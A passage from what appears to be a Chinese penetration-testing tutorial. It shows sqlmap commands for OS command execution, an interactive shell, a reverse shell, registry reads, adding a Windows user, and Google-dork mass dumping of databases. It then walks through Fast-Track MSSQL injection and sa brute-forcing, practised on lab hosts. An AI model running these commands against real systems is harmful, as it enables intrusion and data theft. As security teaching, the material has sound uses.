result:这个命令相当恐怖了,可以执行任意cmd指令,要注意的是,在执行过程中,可能会提示要求我们给出服务端的网站根目录路径如:E:/wamp/www。大多数情况下这些路径都是可以猜测出来的,除此之外,其他的工作sqlmap都帮我们完成了。如果把cmd指令换成 "net user test 111 /add" ,注意加双引号。可以见,即使主机是win7并打上了各种补丁,可是一个小小的sql漏洞竟然可以突破到系统级权限。
 
17. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --os-shell         #系统交互shell
这个命令的运用过程和16是一样的,也要提供服务器的根目录,不过可以猜测出来。这个命令允许我们以交互方式操作对方主机,实在很强大。
 
18. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --os-pwn           #反弹shell
这是通过上传文件来实现的反向隧道连接,但是会触发主机的防火墙警报。
 
19. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --reg-read         #读取win系统注册表
 
20. python sqlmap.py sqlmap -g "google语法" --dump-all --batch  
#google搜索注入点自动 跑出所有字段,例如:inurl:index.php?id=1 filetype:php
python sqlmap.py sqlmap -g "inurl:index.php?id=1 filetype:php" --dump-all --batch  
(这个指令也有点逆天的感觉,真的感叹sqlmap真的是大神写出来的啊,一定要深入源码看看它实现折现这些强悍功能的原理)
 
 
 
 
 
3. Fast-Track
FastTrack是一个基于Python的开源工具,实现了一些扩展的高级渗透技术。它使用MSF框架来进行攻击载荷的植入,也可以通过客户端向量来实施渗透攻击,除此之外,它还增加了一些新特性对MSF进行补充:Microsoft SQL 攻击、更多渗透攻击模块及自动化浏览器攻击。
fasttrack提供了交互模式的用户使用接口,要进入交互模式
 
1) 启动FastTrack
cd /pentest/exploits/fasttrack(BT安装的时候默认是这个目录,请自行修改成实际情况fasttack所在目录)
./fast-track.py -i(命令行交互模式)
./fast-track.py -g(web界面交互模式)
本次实验采用命令行方式进行实验,毕竟是在linux下面,用输入命令的方式更舒服一点,老点鼠标也挺难受的。
 
2)Microsoft SQL 注入
和sqlmap一样,需要攻击者事先进行漏洞踩点,发现可能存在sql漏洞的URL,攻击者只需要确定查询语句和POST参数,其他的事情fasttrack都帮我们完成了。但是要注意,这类攻击只能针对MSSQL的web系统。因为自己是搞PHP开发的,手上没有asp+sqlserver的站,又不敢拿网上的网站来做实验,就自己搭建了一下环境,用的Z-Blog,不知道有没漏洞,但是实验原理是一样的就是了。
http://localhost:12345/zblog/view.asp?id=3
这个是实验的URL
1.     SQL注入--查询语句攻击
从菜单中选择 4.  Microsoft SQL Tools 开始部署攻击
之后选择 1. MSSQL Injector。
最简单的SQL注入方式是操纵查询语句字段,而这一字符串通常位于从浏览器发送到服务上的URL中。URL中通常包含动态查询网页信息的一些参数信息(最常见的就是根据ID值来查看不同的文章)
接着选择 1. SQL Injector - Query String Parameter Attack
输入待攻击的URL:http://localhost:12345/zblog/view.asp?id='INJECTHERE
当fasttrack开始攻击漏洞时,它将查找带有id字段的所有字段,即决定哪个字段可以被用来进行攻击。
...
listening on [any] 4444....
如果攻击成功的话就会弹出一个cmd shell,表示控制了对方机器的控制权。整个过程都是通过SQL注入完成的。但是我在实验的时候没有成功,因为z-blog使用了参数过滤了。
注意:
如果应用程序中使用了参数化的SQL查询语句或者存储过程的话,我们的攻击将不会成功。
 
2. SQL注入--POST参数攻击
fasttrack的POST参数攻击比进行基于URL的query攻击所需要做的配置更少。我们只要把想要攻击网页的URL输入到fasttrack中,它就会自动识别出表单并进行攻击
输入:http://localhost:12345/zblog/view.asp
 
3. MSSQL破解
如果管理员在安装过程中指定了要使用混合认证模式或SQL认证模式,那么安装程序的管理员需要设置一个MSSQL的sa用户帐号(即MSSQL数据库系统管理员)。如果sa账户口令被暴力破解,将导致攻击者使用扩展存储过程xp_cmdshell来攻陷整个系统。(MSF中也有类似的MSSQL暴力挂字典破解方法)
fasttack使用了几种方法来探索发现MSSQL服务器:
1) 使用nmap对MSSQL默认的TCP 1433端口进行扫描,然而如果目标主机使用MSSQL server 2005 或以后的版本,这些版本采用了动态端口技术,这样增加了猜解的难度。但是fasttrack可以直接和MSF交互,通过UDP 1434端口查找出MSSQL服务器运行的动态端口。
2) 一旦fasttrack识别出服务端口并成功爆破sa账户口令(实际没说的这么简单,需要良好的配置以及很好的社会工程字典)。fasttrack将使用高级的binnary-to-hex转换方法来植入一个攻击载荷。这个攻击的成功率相当高,特别在MSSQL广泛使用的大型网络环境下。
 
3)在上一个列表中选择 2. MSSQL Bruter, 选择暴力破解
(a)ttempt SQL Ping and Auto Quick Brute Force:使用这个选项来尝试扫描一段IP地址,使用语法和nmap一样,然后利用一个事先准备好的包含50个常见口令的字典文件来进行快速暴力破解(再次重申一下,这一小节的所有攻击手段都是建立在那个ASP页面本身存在注入漏洞的情况下,如果应用程序使用了参数过滤,就没办法了,只能采用手工注入的方法,自定制高级攻击手段)
输入: sa    192.168.0.103或192.168.0.1/24
(f)ind SQL Ports (SQL Ping): 这个功能选项仅仅为了寻找SQL服务器的地址,而不会发动攻击